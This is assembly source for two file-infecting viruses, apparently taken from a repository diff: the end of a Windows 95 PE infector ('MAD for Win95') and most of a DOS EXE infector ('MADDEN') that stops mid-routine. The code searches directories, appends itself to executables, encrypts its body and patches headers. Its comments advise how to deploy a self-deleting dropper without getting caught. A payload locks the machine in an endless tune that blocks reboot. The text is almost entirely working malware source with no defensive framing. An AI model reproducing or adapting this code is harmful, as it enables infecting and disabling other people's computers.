mov ecx, 0A6Bh
mov al, ss:Key[ebp]
decript_loop:
xor [edi], al
inc edi
loop decript_loop
jmp short start_encript
HostEntry dd 0
SaveEBP dd 0
Key db 0
start_encript:
mov ss:TotalInf[ebp], 0
mov eax, 4550h
mov edi, 0BFF70000h
mov ecx, 1000h
cld
search_kernel:
repne scasw
jnz return_host
add ss:Seed[ebp], edi
dec edi
dec edi
cmp word ptr [edi+4], 14Ch
jnz short search_kernel
cmp word ptr [edi+14h], 0
jz short search_kernel
mov bx, [edi+16h]
and bx, 0F000h
cmp bx, 2000h ;is a DLL?
jnz short search_kernel
cmp dword ptr [edi+34h], 0BFF70000h
jl short search_kernel
mov eax, [edi+34h]
mov ss:KernelBase[ebp], eax
xor eax, eax
mov ax, [edi+14h]
add eax, edi
add eax, 18h
mov cx, [edi+6] ;number of sections
search_edata:
cmp dword ptr [eax], 'ADE.'
jnz short no_edata
cmp dword ptr [eax+4], 'AT' ;search all sectionz for the
jz short found_export ;export section
no_edata:
add eax, 28h
dec cx
or cx, cx
jnz short search_edata
jmp return_host
found_export:
mov ebx, [eax+0Ch]
add ebx, ss:KernelBase[ebp]
mov edi, [ebx+20h]
add edi, ss:KernelBase[ebp]
mov ecx, [ebx+14h]
sub ecx, [ebx+18h]
mov eax, 4
mul ecx
mov ss:pAPIRVA[ebp], eax
mov ecx, [ebx+18h]
mov eax, 4
mul ecx
xchg eax, ecx
xchg edi, edx
search_APIs:
sub ecx, 4
mov edi, edx
add edi, ecx
mov edi, [edi]
add edi, ss:KernelBase[ebp]
lea esi, szGetProcAddres[ebp]
lea eax, pGetProcAddress[ebp]
call extract_addr
lea eax, pGetModuleHdle[ebp]
lea esi, szGetModuleHdle[ebp]
call extract_addr
cmp ecx, 0
jnz short search_APIs
cmp ss:pGetProcAddress[ebp], 0
jz return_host
cmp ss:pGetModuleHdle[ebp], 0
jz return_host
lea eax, _Kernel32[ebp]
push eax
mov eax, ss:pGetModuleHdle[ebp]
call eax
mov ss:KernelHandle[ebp], eax
cmp eax, 0
jz return_host
lea eax, _GetDir[ebp]
call get_api_addr
jb _check_payload
lea edx, CurrentDir[ebp]
push edx
push 0FFh ;save current directory
call eax
find_filez:
lea eax, _FFile[ebp]
call get_api_addr
jb no_payload
mov edx, offset FINDATA ;start of find struct
add edx, ebp
push edx
mov edx, offset ExeMask
add edx, ebp
push edx
call eax
mov ss:SearchHandle[ebp], eax
cmp eax, 0FFFFFFFFh
jz change_dir ;error, then go down a dir
infect_next:
mov eax, dword ptr ss:FileName[ebp]
xor ss:Seed[ebp], eax
cmp eax, 186A0h
jnb error_close
cmp ss:Security[ebp], 0 ;maybe a safeguard flag?
jnz error_close ;win95 never set this, so
lea eax, _CreateFile[ebp] ;probably is a safeguard
call get_api_addr ;to no infect own hdd
jb no_payload
push 0
push ss:FINDATA[ebp]
push 3
push 0
push 0
push 0C0000000h
mov edx, offset FileName2
add edx, ebp
push edx
call eax
cmp eax, 0FFFFFFFFh
jz find_next
mov ss:FileHandle[ebp], eax
mov edi, 3Ch
call file_seek
mov edi, offset PEPointer
add edi, ebp
mov ecx, 4
call read_file
jb error_close
mov edi, ss:PEPointer[ebp]
call file_seek
mov edi, offset PEHeader
add edi, ebp
mov ecx, 8D0h
call read_file
cmp ss:PEHeader[ebp], 4550h
jnz error_close
cmp ss:InfectionMark[ebp], 'WDAM' ;MADW - Mad for Win95
jz error_close
xor esi, esi
xor eax, eax
mov ax, ss:NumberSections[ebp]
dec ax
mov ecx, 28h
xor edx, edx
mul ecx
mov si, ax
mov eax, 0BB8h
mov ecx, ss:FileAlign[ebp]
xor edx, edx
div ecx
inc eax
mul ecx
add ss:szRVA[ebp+esi], eax ;virtual size of section
mov eax, 7D0h
mov ecx, ss:ObjAlign[ebp]
xor edx, edx
div ecx
inc eax
mul ecx
mov edx, ss:pRAW[ebp+esi] ;pointer to raw data
mov ecx, edx
add edx, ss:szRAW[ebp+esi] ;size of raw data
push edx
add ss:pRAW[ebp+esi], eax ;pointer to raw data
or ss:ObjAttr[ebp+esi], 0C0000040h ;object attributes
add ecx, ss:RVA[ebp+esi] ;RVA of section
mov edx, ss:EntryRVA[ebp]
mov ss:EntryRVA[ebp], ecx
sub ecx, edx
add ecx, 5
mov dword ptr ss:old_RVA+1[ebp], ecx
mov ss:InfectionMark[ebp], 'WDAM' ;set the mark
mov edi, ss:PEPointer[ebp]
call file_seek
mov edi, offset PEHeader
add edi, ebp
mov ecx, 8D0h
call write_file ;write the modificated
pop edi ;header info
add ss:Seed[ebp], edi
call file_seek
mov eax, ss:Seed[ebp]
neg eax
mov ss:Key[ebp], al
mov esi, offset start
add esi, ebp
mov edi, offset EncriptedBody
add edi, ebp
mov ecx, 0AB0h
cld
repe movsb ;zopy virus to work area
mov edi, offset EncriptedBody
add edi, ebp
add edi, 45h
mov ecx, 0A6Bh
mov al, ss:Key[ebp]
enc_loop:
xor [edi], al ;encript it
inc edi
loop enc_loop
mov edi, offset EncriptedBody
add edi, ebp
mov ecx, 0AB0h
call write_file ;attach virus
error_close:
not ss:Seed[ebp]
lea eax, _CloseFile[ebp]
call get_api_addr
jb short _check_payload
push ss:FileHandle[ebp]
call eax
find_next:
lea eax, _FNFile[ebp]
call get_api_addr
jb short _check_payload
lea edx, FINDATA[ebp]
push edx
push ss:SearchHandle[ebp]
call eax
cmp eax, 0
jnz infect_next
change_dir:
cmp ss:TotalInf[ebp], 3 ;only stop after 3 directorys
jz short _check_payload ;infected
lea eax, _SetDir[ebp]
call get_api_addr
jb short _check_payload
lea edx, DotDot[ebp] ;go down a directory
push edx
call eax
inc ss:TotalInf[ebp]
cmp eax, 1
jz find_filez
_check_payload:
jmp short check_payload
read_file:
push edi
push ecx
lea eax, _ReadFile[ebp]
call get_api_addr
pop ecx
pop edi
cmp eax, 0
jnz short rf_addr_ok
stc
retn
rf_addr_ok:
push 0
lea ebx, NumRead[ebp]
push ebx
push ecx
push edi
push ss:FileHandle[ebp]
call eax
retn
write_file:
push edi
push ecx
lea eax, _WriteFile[ebp]
call get_api_addr
pop ecx
pop edi
cmp eax, 0
jnz short wf_addr_ok
stc
retn
wf_addr_ok:
push 0
lea ebx, NumRead[ebp]
push ebx
push ecx
push edi
push ss:FileHandle[ebp]
call eax
retn
file_seek:
lea eax, _FileSeek[ebp]
call get_api_addr
push 0
push 0
push edi
push ss:FileHandle[ebp]
call eax
retn
check_payload:
lea eax, _GetTime[ebp]
call get_api_addr
jb short no_payload
lea edx, SYSTIME[ebp]
push edx
call eax
cmp ss:cDay[ebp], 1
jnz short no_payload
lea eax, _User32[ebp]
push eax
mov eax, ss:pGetModuleHdle[ebp]
call eax ;get handle for USER32.DLL
mov ss:KernelHandle[ebp], eax
cmp eax, 0
jz short no_payload
lea eax, _MsgBox[ebp]
call get_api_addr
jb short no_payload
push 1030h
mov edx, offset MsgTitle
add edx, ebp
push edx
mov edx, offset MsgText
add edx, ebp
push edx
push 0
call eax ;pop a MessageBox with virus
lea eax, _Kernel32[ebp] ;credits
push eax
mov eax, ss:pGetModuleHdle[ebp]
call eax
mov ss:KernelHandle[ebp], eax
no_payload:
lea eax, _SetDir[ebp]
call get_api_addr
jb short return_host
lea edx, CurrentDir[ebp]
push edx
call eax
return_host:
mov edi, ebp
mov ebp, ds:SaveEBP[edi]
jmp ds:HostEntry[edi]
extract_addr:
pusha
mov ecx, [esi]
add esi, 4
repe cmpsb ;is api we want?
popa
jnz short no_func
xchg eax, esi
mov eax, [ebx+1Ch]
add eax, ss:pAPIRVA[ebp]
add eax, ss:KernelBase[ebp]
add eax, ecx
mov eax, [eax]
add eax, ss:KernelBase[ebp]
mov [esi], eax ;set adress
no_func:
retn
get_api_addr:
push eax
mov eax, ss:KernelHandle[ebp]
push eax
call ss:pGetProcAddress[ebp]
cmp eax, 0
jnz short proc_found
stc ;set carry on error
proc_found:
retn
KernelBase dd 0
pAPIRVA dd 0
pGetProcAddress dd 0
szGetProcAddres dd 0Fh ;size of string to search
db 'GetProcAddress',0
pGetModuleHdle dd 0
szGetModuleHdle dd 11h ;size of string to search
db 'GetModuleHandleA',0
_Kernel32 db 'KERNEL32',0
_User32 db 'USER32',0
_MsgBox db 'MessageBoxA',0 ;this one we get from user32
_FFile db 'FindFirstFileA',0 ;and all these otherz from
_CreateFile db 'CreateFileA',0 ;kernel32
_CloseFile db 'CloseHandle',0
_ReadFile db 'ReadFile',0
_WriteFile db 'WriteFile',0
_FileSeek db 'SetFilePointer',0
_FNFile db 'FindNextFileA',0
_GetTime db 'GetLocalTime',0
_SetDir db 'SetCurrentDirectoryA',0
_GetDir db 'GetCurrentDirectoryA',0
KernelHandle dd 0 ;also used for USER32.DLL
;when using payload
MsgTitle db 'Multiplatform Advanced Destroyer',0
MsgText db 'Hello user your computer is infected by MAD virus',0Dh
db 'Welcome to my first virus for Windoze95...',0Dh
db 'Distribution & Copyright by Black Angel 1997',0
;uhh... a confession... ;-)
ExeMask db '*.eXe',0
db '[MAD for Win95] version 1.0 BETA! (c)Black Angel`97',0
DotDot db '..',0 ;for directory changing
SearchHandle dd 0
FileHandle dd 0
NumRead dd 0
Seed dd 0
SYSTIME equ this byte
cYear dw 0
cMonth dw 0
cDWeek dw 0
cDay dw 0
cHour dw 0
cMin dw 0
cSec dw 0
cMlSec dw 0
FINDATA dd 0 ;File Attribute
dd 0 ;Creation Date
dd 0 ;Last Acess Date
dd 0 ;Last Write Date
dd 0 ;File Size h
dd 0 ;File Size l
dd 0 ;Reserved
Security dd 0
FileName db 0Ch dup(0)
FileName2 db 200h dup(0)
PEPointer dd 0
TotalInf db 0
CurrentDir db 100h dup(0)
PEHeader dd 0 ;from here to end, are all
dw 0 ;bufferz that w95.mad.2736
NumberSections dw 0 ;use for read, encription
db 20h dup(0) ;and like...
EntryRVA dd 0
db 0Ch dup(0)
FileAlign dd 0
ObjAlign dd 0
db 18h dup(0)
InfectionMark dd 0
EncriptedBody db 0A4h dup(0)
szRVA dd 0
RVA dd 0
pRAW dd 0
szRAW dd 0
dd 0
dd 0
dd 0
ObjAttr dd 0
db 608Ch dup(0)
end start
+805
View File
@@ -0,0 +1,805 @@
;The MADDEN virus is an EXE file infector which can jump from directory to
;directory. It attaches itself to the end of a file and
;modifies the EXE file header so that it gets control first, before the host
;program. When it is done doing its job, it passes control to the host program,
;so that the host executes without a hint that the virus is there.
.SEQ ;segments must appear in sequential order
;to simulate conditions in actual active virus
;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped together
;HOSTSEG program code segment. The virus gains control before this routine and
;attaches itself to another EXE file. As such, the host program for this
;installer simply tries to delete itself off of disk and terminates. That is
;worthwhile if you want to infect a system with the virus without getting
;caught. Just execute the program that infects, and it disappears without a
;trace. You might want to name the program something more innocuous, though.
;MADDEN also locks the pc into a 'maddening' toon when it runs out
;of files to infect. (MADDEN can be assembled to an .obj file under a86,
;then linked to the 'infected' .exe form.)
HOSTSEG SEGMENT BYTE
ASSUME CS:HOSTSEG,SS:HSTACK
PGMSTR DB 'MADDEN.EXE',0
HOST:
mov ax,cs ;we want DS=CS here
mov ds,ax
mov dx,OFFSET PGMSTR
mov ah,41H
int 21H ;delete this exe file
mov ah,4CH
mov al,0
int 21H ;terminate normally
HOSTSEG ENDS
;Host program stack segment
HSTACK SEGMENT PARA STACK
db 100H dup (?) ;100 bytes long
HSTACK ENDS
;------------------------------------------------------------------------
;This is the virus itself
STACKSIZE EQU 100H ;size of stack for the virus
NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table
;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together
;MADDEN Virus code segment. This gains control first, before the host. As this
;ASM file is layed out, this program will look exactly like a simple program
;that was infected by the virus.
VSEG SEGMENT PARA
ASSUME CS:VSEG,DS:VSEG,SS:VSTACK
;data storage area comes before any code
VIRUSID DW 0C8AAH ;identifies virus
OLDDTA DD 0 ;old DTA segment and offset
DTA1 DB 2BH dup (?) ;new disk transfer area
DTA2 DB 56H dup (?) ;dta for directory finds (2 deep)
EXE_HDR DB 1CH dup (?) ;buffer for EXE file header
EXEFILE DB '\*.EXE',0 ;search string for an exe file
ALLFILE DB '\*.*',0 ;search string for any file
USEFILE DB 78 dup (?) ;area to put valid file path
LEVEL DB 0 ;depth to search directories for a file
HANDLE DW 0 ;file handle
FATTR DB 0 ;old file attribute storage area
FTIME DW 0 ;old file time stamp storage area
FDATE DW 0 ;old file date stamp storage area
FSIZE DD 0 ;file size storage area
VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there
VCODE DB 1 ;identifies this version
MUZIK dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, ;MUZIK - notes/delay
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006, ;in format xxxx,yyyy
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 5119,0006, 5423,0006, 3043,0006,
dw 6087,0020,
dw 6087,0006,
dw 7239,0006, 3619,0006, 4831,0006, 6087,0006
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
dw 6087,0006, 4063,0006, 3043,0006, 5119,0006
dw 4831,0006, 6087,0006, 7239,0006, 8126,0006
dw 6087,0020,
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 5119,0006, 5423,0006, 3043,0006,
dw 6087,0020,
dw 6087,0006,
dw 7239,0006, 3619,0006, 4831,0006, 6087,0006
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
dw 6087,0006, 4063,0006, 3043,0006, 5119,0006
dw 4831,0006, 6087,0006, 7239,0006, 8126,0006
dw 6087,0020,
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
dw 3043,0006, 3619,0006, 4831,0006, 6087,0006
dw 3043,0010,
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
dw 3043,0006, 5119,0006, 5423,0006, 3043,0006,
dw 6087,0020,
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
dw 3043,0006, 3619,0006, 4831,0006, 6087,0006
dw 3043,0010,
dw 6087,0006,
dw 7239,0006, 3619,0006, 4831,0006, 6087,0006
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
dw 6087,0006, 4063,0006, 3043,0006, 5119,0006
dw 4831,0006, 6087,0006, 7239,0006, 8126,0006
dw 6087,0020,
dw 0ffffh
;--------------------------------------------------------------------------
;MADDEN virus main routine starts here
VIRUS:
push ax ;save startup info in ax
mov ax,cs
mov ds,ax ;set up DS=CS for the virus
mov ax,es ;get PSP Seg
mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it
call SHOULDRUN ;run only when certain conditions met signalled by z set
jnz REL1 ;conditions aren't met, go execute host program
call SETSR ;modify SHOULDRUN procedure to activate conditions
call NEW_DTA ;set up a new DTA location
call FIND_FILE ;get an exe file to attack
jnz TOON ;returned nz - no valid files left, play maddening toon!
call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode
call INFECT ;move program code to file we found to attack
call REST_ATTRIBUTE ;restore the original file attributes and close the file
FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup
pop ax ;restore startup value of ax
REL1: ;relocatable marker for host stack segment
mov bx,HSTACK ;set up host program stack segment (ax=segment)
cli ;interrupts off while changing stack
mov ss,bx
REL1A: ;marker for host stack pointer
mov sp,OFFSET HSTACK
mov es,WORD PTR [OLDDTA+2] ;set up ES correctly
mov ds,WORD PTR [OLDDTA+2] ;and DS
sti ;interrupts back on
REL2: ;relocatable marker for host code segment
jmp FAR PTR HOST ;begin execution of host program
;--------------------------------------------------------------------------
;First Level - Find a file which passes FILE_OK
;
;This routine does a complex directory search to find an EXE file in the
;current directory, one of its subdirectories, or the root directory or one
;of its subdirectories, to find a file for which FILE_OK returns with C reset.
;If you want to change the depth of the search, make sure to allocate enough
;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
;since the recursive FINDBR uses a different DTA area for the search (see DOS
;functions 4EH and 4FH) on each level.
;
FIND_FILE:
mov al,'\' ;set up current directory path in USEFILE
mov BYTE PTR [USEFILE],al
mov si,OFFSET USEFILE+1
xor dl,dl
mov ah,47H
int 21H ;get current dir, USEFILE= \dir
cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root
jnz FF2 ;not the root
xor al,al ;make correction for root directory,
mov BYTE PTR [USEFILE],al ;by setting USEFILE = ''
FF2: mov al,2
mov [LEVEL],al ;search 2 subdirs deep
call FINDBR ;attempt to locate a valid file
jz FF3 ;found one - exit
xor al,al ;nope - try the root directory
mov BYTE PTR [USEFILE],al ;by setting USEFILE= ''
inc al ;al=1
mov [LEVEL],al ;search one subdir deep
call FINDBR ;attempt to find file
FF3:
ret ;exit with z flag set by FINDBR to indicate success/failure
;***************************************************************************
; This routine enables MADDEN virus to compell the pc to play a
;'maddening' toon when it can't find a file to infect
;**************************************************************************
TOON:
cli ;interrupts off
mov al,10110110xb ;the magic number
out 43h,al ;send it
lea si,MUZIK ;point (si) to our note table
TOON2: cld ;must increment forward
lodsw ;load word into ax and increment (si)
cmp ax,0ffffh ;is it ffff - if so end of table
jz GO_MUZIK2 ;so, time to jump into endless loop
out 42h,al ;send LSB first
mov al,ah ;place MSB in al
out 42h,al ;send it next
in al,61h ;get value to turn on speaker
or al,00000011xb ;OR the gotten value
out 61h,al ;now we turn on speaker
lodsw ;load the repeat loop count into (ax)
LOOP6: mov cx,8000 ;delay count
LOOP7: loop LOOP7 ;do the delay
dec ax ;decrement repeat count
jnz loop6 ;if not = 0 loop back
in al,61h ;all done
and al,11111100xb ;number turns speaker off
out 61h,al ;send it
jmp short TOON2 ;now go do next note
GO_MUZIK2: ;our loop point
sti ;enable interrupts
jmp TOON ;jump back to beginning - this code
; has the additional advantage of
;locking out CTRL-ALT-DEL reboot.
;The user must do a hard reset to recover.
;--------------------------------------------------------------------------
;SEARCH FUNCTION
;---------------------------------------------------------------------------
;Second Level - Find in a branch
;
;This function searches the directory specified in USEFILE for EXE files.
;after searching the specified directory, it searches subdirectories to the
;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this
;routine exits with Z set and leaves the file and path in USEFILE
;
FINDBR:
call FINDEXE ;search current dir for EXE first
jnc FBE3 ;found it - exit
cmp [LEVEL],0 ;no - do we want to go another directory deeper?
jz FBE1 ;no - exit
dec [LEVEL] ;yes - decrement LEVEL and continue
mov di,OFFSET USEFILE ;'\curr_dir' is here
mov si,OFFSET ALLFILE ;'\*.*' is here
call CONCAT ;get '\curr_dir\*.*' in USEFILE
inc di
push di ;store pointer to first *
call FIRSTDIR ;get first subdirectory
jnz FBE ;couldn't find it, so quit
FB1: ;otherwise, check it out
pop di ;strip \*.* off of USEFILE
xor al,al
stosb
mov di,OFFSET USEFILE
mov bx,OFFSET DTA2+1EH
mov al,[LEVEL]
mov dl,2BH ;compute correct DTA location for subdir name
mul dl ;which depends on the depth we're at in the search
add bx,ax ;bx points to directory name
mov si,bx
call CONCAT ;'\curr_dir\sub_dir' put in USEFILE
push di ;save position of first letter in sub_dir name
call FINDBR ;scan the subdirectory and its subdirectories (recursive)
jz FBE2 ;if successful, exit
call NEXTDIR ;get next subdirectory in this directory
jz FB1 ;go check it if search successful
FBE: ;else exit, NZ set, cleaned up
inc [LEVEL] ;increment the level counter before exit
pop di ;strip any path or file spec off of original
xor al,al ;directory path
stosb
FBE1: mov al,1 ;return with NZ set
or al,al
ret
FBE2: pop di ;successful exit, pull this off the stack
FBE3: xor al,al ;and set Z
ret ;exit
;--------------------------------------------------------------------------
;Third Level - Part A - Find an EXE file
;
;This function searches the path in USEFILE for an EXE file which passes
;the test FILE_OK. This routine will return the full path of the EXE file
;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return
;with the c flag set. It will search a whole directory before giving up.
;
FINDEXE:
mov dx,OFFSET DTA1 ;set new DTA for EXE search
mov ah,1AH
int 21H
mov di,OFFSET USEFILE
mov si,OFFSET EXEFILE
call CONCAT ;set up USEFILE with '\dir\*.EXE'
push di ;save position of '\' before '*.EXE'
mov dx,OFFSET USEFILE
mov cx,3FH ;search first for any file
mov ah,4EH
int 21H
NEXTEXE:
or al,al ;is DOS return OK?
jnz FEC ;no - quit with C set
pop di
inc di
stosb ;truncate '\dir\*.EXE' to '\dir\'
mov di,OFFSET USEFILE
mov si,OFFSET DTA1+1EH
call CONCAT ;setup file name '\dir\filename.exe'
dec di
push di
call FILE_OK ;yes - is this a good file to use?
jnc FENC ;yes - valid file found - exit with c reset
mov ah,4FH
int 21H ;do find next
jmp SHORT NEXTEXE ;and go test it for validity
FEC: ;no valid file found, return with C set
pop di
mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
stc
ret
FENC: ;valid file found, return with NC
pop di
ret
;--------------------------------------------------------------------------
;Third Level - Part B - Find a subdirectory
;
;This function searches the file path in USEFILE for subdirectories, excluding
;the subdirectory header entries. If one is found, it returns with Z set, and
;if not, it returns with NZ set.
;There are two entry points here, FIRSTDIR, which does the search first, and
;NEXTDIR, which does the search next.
;
FIRSTDIR:
call GET_DTA ;get proper DTA address in dx (calculated from LEVEL)
push dx ;save it
mov ah,1AH ;set DTA
int 21H
mov dx,OFFSET USEFILE
mov cx,10H ;search for a directory
mov ah,4EH ;do search first function
int 21H
NEXTD1:
pop bx ;get pointer to search table (DTA)
or al,al ;successful search?
jnz NEXTD3 ;no, quit with NZ set
test BYTE PTR [bx+15H],10H ;is this a directory?
jz NEXTDIR ;no, find another
cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header?
jne NEXTD2 ;no - valid directory, exit, setting Z flag
;else it was dir header entry, so fall through to next
NEXTDIR: ;second entry point for search next
call GET_DTA ;get proper DTA address again - may not be set up
push dx
mov ah,1AH ;set DTA
int 21H
mov ah,4FH
int 21H ;do find next
jmp SHORT NEXTD1 ;and loop to check the validity of the return
NEXTD2:
xor al,al ;successful exit, set Z flag
NEXTD3:
ret ;exit routine
;--------------------------------------------------------------------------
;Return the DTA address associated to LEVEL in dx. This is simply given by
;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
;in its own DTA, since a search at a lower level occurs in the middle of the
;higher level search, and we don't want the higher level being ruined by
;corrupted data.
;
GET_DTA:
mov dx,OFFSET DTA2
mov al,2BH
mul [LEVEL]
add dx,ax ;return with dx= proper dta offset
ret
;--------------------------------------------------------------------------
;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
;string at ES:DI. Return ES:DI pointing to the end of the first string in the
;destination (or the first character of the second string, after moved).
;
CONCAT:
mov al,byte ptr es:[di] ;find the end of string 1
inc di
or al,al
jnz CONCAT
dec di ;di points to the null at the end
push di ;save it to return to the caller
CONCAT2:
cld
lodsb ;move second string to end of first
stosb
or al,al
jnz CONCAT2
pop di ;and restore di to point to end of string 1
ret
;--------------------------------------------------------------------------
;Function to determine whether the EXE file specified in USEFILE is useable.
;if so return nc, else return c
;What makes an EXE file useable?:
; a) The signature field in the EXE header must be 'MZ'. (These
; are the first two bytes in the file.)
; b) The Overlay Number field in the EXE header must be zero.
; c) There must be room in the relocatable table for NUMRELS
; more relocatables without enlarging it.
; d) The word VIRUSID must not appear in the 2 bytes just before
; the initial CS:0000 of the test file. If it does, the virus
; is probably already in that file, so we skip it.
;
FILE_OK:
call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR
jc OK_END ;error in reading the file, so quit
call CHECK_SIG_OVERLAY ;is the overlay number zero?
jc OK_END ;no - exit with c set
call REL_ROOM ;is there room in the relocatable table?
jc OK_END ;no - exit
call IS_ID_THERE ;is id at CS:0000?
OK_END: ret ;return with c flag set properly
;--------------------------------------------------------------------------
;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
;number is anything but zero.
CHECK_SIG_OVERLAY:
mov al,'M' ;check the signature first
mov ah,'Z'
cmp ax,WORD PTR [EXE_HDR]
jz CSO_1 ;jump if OK
stc ;else set carry and exit
ret
CSO_1: xor ax,ax
sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
ret ;c is set if it's anything but 0
;--------------------------------------------------------------------------
;This function reads the 28 byte EXE file header for the file named in USEFILE.
;It puts the header in EXE_HDR, and returns c set if unsuccessful.
;
GET_EXE_HEADER:
mov dx,OFFSET USEFILE
mov ax,3D02H ;r/w access open file
int 21H
jc RE_RET ;error opening - C set - quit without closing
mov [HANDLE],ax ;else save file handle
mov bx,ax ;handle to bx
mov cx,1CH ;read 28 byte EXE file header
mov dx,OFFSET EXE_HDR ;into this buffer
mov ah,3FH
int 21H
RE_RET: ret ;return with c set properly
;--------------------------------------------------------------------------
;This function determines if there are at least NUMRELS openings in the
;current relocatable table in USEFILE. If there are, it returns with
;carry reset, otherwise it returns with carry set. The computation
;this routine does is to compare whether
; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
;is >= than 4 * NUMRELS. If it is, then there is enough room
;
REL_ROOM:
mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
add ax,ax
add ax,ax
sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables
add ax,ax
add ax,ax
sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
cmp ax,4*NUMRELS ;enough room to put relocatables in?
RR_RET: ret ;exit with carry set properly
;--------------------------------------------------------------------------
;This function determines whether the word at the initial CS:0000 in USEFILE
;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
;it returns c reset.
;
IS_ID_THERE:
mov ax,WORD PTR [EXE_HDR+22] ;Initial CS
add ax,WORD PTR [EXE_HDR+8] ;Header size
mov dx,16
mul dx
mov cx,dx
mov dx,ax ;cxdx = position to look for VIRUSID in file
mov bx,[HANDLE]
mov ax,4200H ;set file pointer, relative to beginning
int 21H
mov ah,3FH
mov bx,[HANDLE]
mov dx,OFFSET VIDC
mov cx,2 ;read 2 bytes into VIDC
int 21H
jc II_RET ;couldn't read - bad file - report as though ID is there so we dont do any more to this file
mov ax,[VIDC]
cmp ax,[VIRUSID] ;is it the VIRUSID?
clc
jnz II_RET ;if not, then virus is not already in this file
stc ;else it is probably there already
II_RET: ret
;--------------------------------------------------------------------------
;This routine makes sure file end is at paragraph boundary, so the virus
;can be attached with a valid CS. Assumes file pointer is at end of file.
SETBDY:
mov al,BYTE PTR [FSIZE]
and al,0FH ;see if we have a paragraph boundary (header is always even # of paragraphs)
jz SB_E ;all set - exit
mov cx,10H ;no - write any old bytes to even it up
sub cl,al ;number of bytes to write in cx
mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just garbage there)
add WORD PTR [FSIZE],cx ;update FSIZE
adc WORD PTR [FSIZE+2],0
mov bx,[HANDLE]
mov ah,40H ;DOS write function
int 21H
SB_E: ret
;--------------------------------------------------------------------------
;This routine moves the virus (this program) to the end of the EXE file
;Basically, it just copies everything here to there, and then goes and
;adjusts the EXE file header and two relocatables in the program, so that
;it will work in the new environment. It also makes sure the virus starts
;on a paragraph boundary, and adds how many bytes are necessary to do that.
;
INFECT:
mov cx,WORD PTR [FSIZE+2]
mov dx,WORD PTR [FSIZE]
mov bx,[HANDLE]
mov ax,4200H ;set file pointer, relative to beginning
int 21H ;go to end of file
call SETBDY ;lengthen to a paragraph boundary if necessary
mov cx,OFFSET FINAL ;last byte of code
xor dx,dx ;first byte of code, DS:DX
mov bx,[HANDLE] ;move virus code to end of file being attacked with
mov ah,40H ;DOS write function
int 21H
mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS)
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file
inc bx
add dx,bx
mov bx,0
adc cx,bx ;cx:dx is that number
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to 1st relocatable
int 21H
mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program
mov bx,[HANDLE] ;from the EXE header
mov cx,2
mov ah,40H ;and write it to relocatable REL1+1
int 21H
mov dx,WORD PTR [FSIZE]
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL1A ;put in correct old SP from EXE header
inc bx ;at FSIZE+REL1A+1
add dx,bx
mov bx,0
adc cx,bx ;cx:dx points to FSIZE+REL1A+1
mov bx,[HANDLE]
mov ax,4200H ;set file pointer to place to write SP to
int 21H
mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program
mov bx,[HANDLE] ;from EXE header
mov cx,2
mov ah,40H ;and write it where it belongs
int 21H
mov dx,WORD PTR [FSIZE]
mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL2 ;put in correct old CS:IP in program
add bx,1 ;at FSIZE+REL2+1 on disk
add dx,bx
mov bx,0
adc cx,bx ;cx:dx points to FSIZE+REL2+1
mov bx,[HANDLE]
mov ax,4200H ;set file pointer relavtive to start of file
int 21H
mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header
mov bx,[HANDLE]
mov cx,4
mov ah,40H ;and write 4 bytes to FSIZE+REL2+1
int 21H
;done writing relocatable vectors
;so now adjust the EXE header values
xor cx,cx
xor dx,dx
